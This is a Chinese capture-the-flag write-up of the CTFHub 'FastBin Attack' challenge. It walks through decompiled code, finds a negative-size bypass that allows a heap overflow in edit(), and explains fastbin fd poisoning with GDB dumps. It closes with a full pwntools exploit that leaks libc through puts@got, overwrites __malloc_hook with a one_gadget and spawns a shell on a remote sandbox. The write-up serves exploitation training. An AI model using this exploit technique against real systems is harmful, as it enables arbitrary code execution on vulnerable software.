-
-
[原创][writeup]CTFHUB-FastBin Attack
-
2023-3-13 15:49 6250
-
目录
程序分析
IDA静态分析
伪代码分析
main()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | int __cdecl __noreturn main( int argc, const char * * argv, const char * * envp) { init(argc, argv, envp); interface(); } void __noreturn interface() { int choice; / / [rsp + 4h ] [rbp - Ch] BYREF unsigned __int64 v1; / / [rsp + 8h ] [rbp - 8h ] v1 = __readfsqword( 0x28u ); while ( 1 ) { while ( 1 ) { menu(); / / 打印菜单;输入 1 :申请heap;输入 2 :释放heap;输入 3 :打印Heap;输入 4 :编辑Heap __isoc99_scanf( "%d" , &choice); if ( choice ! = 1 ) break ; add(); / / 申请heap,固定大小 0x60 ,最多申请 10 个 } switch ( choice ) { case 2 : delete(); / / 释放heap,不清空heap,但是heapList的指针会置 0 break ; case 3 : show(); / / printf( "%s" ,heapList[index] - >heap) break ; case 4 : edit(); / / 编辑heap中内容,有长度检查,但不完全有:) !!!EXP Point!!! break ; default: exit( - 1 ); } } } |
add()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | unsigned __int64 add() { unsigned int i; / / [rsp + 8h ] [rbp - 1018h ] unsigned int index; / / [rsp + Ch] [rbp - 1014h ] char v3[ 4096 ]; / / [rsp + 10h ] [rbp - 1010h ] BYREF unsigned __int64 v4; / / [rsp + 1018h ] [rbp - 8h ] v4 = __readfsqword( 0x28u ); memset(v3, 0 , sizeof(v3)); for ( i = 0 ; i < = 9 ; + + i ) { if ( ! * (&heapList + i) ) / / 检测heapList下哪个索引没有使用 { index = i; break ; } } if ( i = = 11 ) / / 最多只能申请 10 个 { puts( "wrong" ); exit( 0 ); } * (&heapList + index) = malloc( 0x60uLL ); / / 固定申请 0x60 字节并存放于全局变量heapList中 Size[index] = 96 ; / / 没什么D用 puts( "Done" ); return __readfsqword( 0x28u ) ^ v4; } |
delete()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | unsigned __int64 delete() { unsigned int index; / / [rsp + 4h ] [rbp - Ch] BYREF unsigned __int64 v2; / / [rsp + 8h ] [rbp - 8h ] v2 = __readfsqword( 0x28u ); puts( "Index:" ); __isoc99_scanf( "%d" , &index); if ( index > 0xB ) { puts( "wrong" ); exit( 0 ); } free( * (&heapList + index)); * (&heapList + index) = 0LL ; / / heap指针被置零了,没法double free Size[index] = 0 ; return __readfsqword( 0x28u ) ^ v2; } |
show()函数
1 2 3 4 5 6 7 8 9 10 11 12 | unsigned __int64 show() { unsigned int index; / / [rsp + 4h ] [rbp - Ch] BYREF unsigned __int64 v2; / / [rsp + 8h ] [rbp - 8h ] v2 = __readfsqword( 0x28u ); puts( "Index:" ); __isoc99_scanf( "%d" , &index); if ( * (&heapList + index) ) printf( "Content: %s\n" , (const char * ) * (&heapList + index)); / / 从堆指针起始按字符串打印内容 return __readfsqword( 0x28u ) ^ v2; } |
edit()函数【利用点-堆溢出】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | unsigned __int64 edit() { int readLength; / / [rsp + 0h ] [rbp - 10h ] BYREF unsigned int index; / / [rsp + 4h ] [rbp - Ch] BYREF unsigned __int64 v3; / / [rsp + 8h ] [rbp - 8h ] v3 = __readfsqword( 0x28u ); puts( "Index:" ); __isoc99_scanf( "%d" , &index); / / 用户输入要编辑的heap索引 puts( "Size:" ); __isoc99_scanf( "%d" , &readLength); / / 用户输入要编辑的长度 if ( readLength < = 96 ) / / 有长度检查,但不完全有,有符号数比较输入负数绕过 { if ( * (&heapList + index) ) { puts( "Content:" ); read( 0 , * (&heapList + index), (unsigned int )readLength); / / read长度参数是无符号数 } else { puts( "wrong" ); } } else { puts( "wrong!" ); } return __readfsqword( 0x28u ) ^ v3; } |
GDB调试分析
根据IDA静态分析已知存在堆溢出漏洞,且申请的堆大小固定,释放后会进入fastbins,所以考虑通过篡改fastbin->fd来申请fakeChunk,现查找可利用的fd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | pwndbg> x / 30gx 0x6020c0 - 0x50 0x602070 : 0x0000000000000000 0x0000000000000000 0x602080 <stdout@@GLIBC_2. 2.5 >: 0x00007ffff7bc4620 0x0000000000000000 0x602090 <stdin@@GLIBC_2. 2.5 >: 0x00007ffff7bc38e0 0x0000000000000000 0x6020a0 <stderr@@GLIBC_2. 2.5 >: 0x00007ffff7bc4540 0x0000000000000000 0x6020b0 : 0x0000000000000000 0x0000000000000000 0x6020c0 <heapList>: 0x0000000000000000 0x0000000000000000 0x6020d0 <heapList + 16 >: 0x0000000000000000 0x0000000000000000 0x6020e0 <heapList + 32 >: 0x0000000000000000 0x0000000000000000 0x6020f0 <heapList + 48 >: 0x0000000000000000 0x0000000000000000 0x602100 <heapList + 64 >: 0x0000000000000000 0x0000000000000000 0x602110 : 0x0000000000000000 0x0000000000000000 0x602120 <Size>: 0x0000000000000000 0x0000000000000000 0x602130 <Size + 16 >: 0x0000000000000000 0x0000000000000000 0x602140 <Size + 32 >: 0x0000000000000000 0x0000000000000000 |
其中0x6020c0
是全局变量heapList
的地址,其中存着每一个heap的指针,如果可以将该指针修改就可以达到任意读/写,并且在heapList
上方存在可利用的内容,通过字节错位将fd
指针定于0x60209d
,内存如下
1 2 3 4 5 6 7 8 9 10 11 12 | pwndbg> x / 30gx 0x60209d 0x60209d : 0xfff7bc4540000000 0x000000000000007f 0x6020ad : 0x0000000000000000 0x0000000000000000 0x6020bd : 0x0000000000000000 0x0000000000000000 0x6020cd <ptr + 13 >: 0x0000000000000000 0x0000000000000000 0x6020dd <ptr + 29 >: 0x0000000000000000 0x0000000000000000 0x6020ed <ptr + 45 >: 0x0000000000000000 0x0000000000000000 0x6020fd <ptr + 61 >: 0x0000000000000000 0x0000000000000000 0x60210d <ptr + 77 >: 0x0000000000000000 0x0000000000000000 0x60211d : 0x0000000000000000 0x0000000000000000 0x60212d <Size + 13 >: 0x0000000000000000 0x0000000000000000 0x60213d <Size + 29 >: 0x0000000000000000 0x0000000000000000 |
可以看到若chunk->fd=0x60209d
时,size
字段为0x7f
即0111 1111
,而其中末4位为标志位高到低分别是PREV_INUSE IS_MMAPPED NON_MAIN_ARENA SIZE_BITS
,既实际大小为0111 0000
即0x70
,由于我们申请的heap大小固定为0x60
,加上字段大小后即0x70
,最终的fastbins
大小分类一致,可用作构造FakeChunk
分析总结
根据分析可以总结出一下三点:
- 申请的heap大小固定为
0x60
,释放后进入fastbins
均属于大小分类0x70
- edit()函数存在整数溢出导致的堆溢出漏洞
- 在全局变量
heapList
上方存在可用于构造FakeChunk
的内存区
漏洞利用及原理
可利用漏洞
- 整数溢出漏洞
- 堆溢出漏洞
1.堆溢出之FastBinAttack-Arbitrary Alloc
利用思路
根据分析已知
- 所有根据程序菜单申请并释放的
heap
最终都将进入fastbins->0x70
分类链表中 - edit()函数存在堆溢出导致可以随意篡改下方其它chunk的字段和内容
- 全局变量
heapList
上方存在可利用内存区用以构造FakeChunk
利用流程
根据上述条件准备进行以下攻击
- 申请3个heap(大小均为0x60)
- 先后释放#2和#1
- 通过
edit()
函数溢出并篡改heap#1的fd指针指向0x60209d
- 重新申请回#1和#2,此时#2已指向
fakeChunk->0x60209d
- 通过
edit()
修改heap#2填充13字节的payload到达0x6020C0
既heapList[0]
并向其中填入puts@got
- 通过
show()
函数打印出*heapList[0]
即puts
函数地址并计算出libcBase
- 通过
edit()
再次修改heap#2以篡改heapList[0]
值为&__malloc_hook
或&__free_hook
- 通过
edit()
修改heap#0以篡改__malloc_hook
或__free_hook
以执行oneGadget
利用原理
对于glibc堆管理的各类bins详细请参见
CTF竞赛权威指南(Pwn篇)->11.1.3章
以下为简述:
程序中申请的大小为0x60的heap释放后均会进入fastbins->0x70
分类中(由于glibc版本问题所以并不会进入tcache
,调试时请注意使用的glibc版本);
fastbins
是一个后进先出的单链表,除分类中第一个进入的chunk
外的每一个chunk->fd
字段都指向上一个进入fastbins
的chunk
,也即当前chunk#1
被弹出后下一个应该被弹出的chunk#0
,既然这样我们就可以通过申请连续的chunk#0 chunk#1 chunk2
并按顺序释放#chunk2、#chunk1
,此时的chunk1->fd
为#chunk2
,意为当我们再次申请大小为0x60
时会弹出chunk1
并将chunk->fd
作为下一个预备弹出的chunk
此时我们通过edit()
编辑chunk#0
并且使用堆溢出篡改chunk1->fd
使其指向一个fakeChunk
,以达到读写fakeChunk
的目的;注意:该FakeChunk->size需要符合fastbins的大小分类即0x70
,根据上述分析已知在全局变量heapList
上方存在符合条件的FakeChunk
内存区,所以我们将chunk#1->fd
指向该内存区,将其申请到手后可即可结合show() edit()
进行任意读写
可以任意读后即可泄露LibcBase
,将函数got
地址填入heapList[0]
后使用show()
函数即可达到泄露,而将&__malloc_hook
或&__free_hook
填入即可篡改此两个hook的指向,此两个hook的指向在分别在malloc()
和free()
函数调用时被调用,所以我们可以向其中填入oneGadget并再次调用add()
或者delete()
使其执行并且getShell
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 | from pwn import * prog = "./pwn" local = False context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) elf = ELF( "./pwn" ) libc = ELF( "./libc-2.23.so" ) if local: p = process(prog) libc = ELF( "/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6" ) #gdb.attach(p) sleep( 1 ) else : p = remote( "challenge-9647de804cb6da45.sandbox.ctfhub.com" , 34306 ) def add(): p.sendlineafter( ">> " , "1" ) def show(index): p.sendlineafter( ">> " , "3" ) p.sendlineafter( "Index:\n" , str (index)) def dele(index): p.sendlineafter( ">> " , "2" ) p.sendlineafter( "Index:\n" , str (index)) def edit(index,content): p.sendlineafter( ">> " , "4" ) p.sendlineafter( "Index:\n" , str (index)) p.sendlineafter( "Size:\n" , "-1" ) p.sendafter( "Content:\n" ,content) add() #0 add() #1 add() #2 dele( 2 ) dele( 1 ) payload = b "\x99" * 0x60 payload + = b "\x11" * 8 payload + = p64( 0x71 ) payload + = p64( 0x60209d ) edit( 0 ,payload) add() #1 add() #2 fakeChunk->heapList-0x13 payload = b "\x66" * 0x13 payload + = p64(elf.got[ 'puts' ]) edit( 2 ,payload) #此时heap#0指向puts@got show( 0 ) putsAddress = u64(p.recvuntil( "\x7f" )[ - 6 :].ljust( 8 ,b "\x00" )) print ( "putsAddress ===========> {}" . format ( hex (putsAddress))) libcBase = putsAddress - libc.sym[ 'puts' ] mallocHook = libcBase + libc.sym[ '__malloc_hook' ] payload = b "\x66" * 0x13 payload + = p64(mallocHook) edit( 2 ,payload) #此时heap#0指向mallocHook oneGadget = 0x45226 + libcBase edit( 0 ,p64(oneGadget)) #篡改mallocHook指向oneGadget add() p.interactive() p.close() |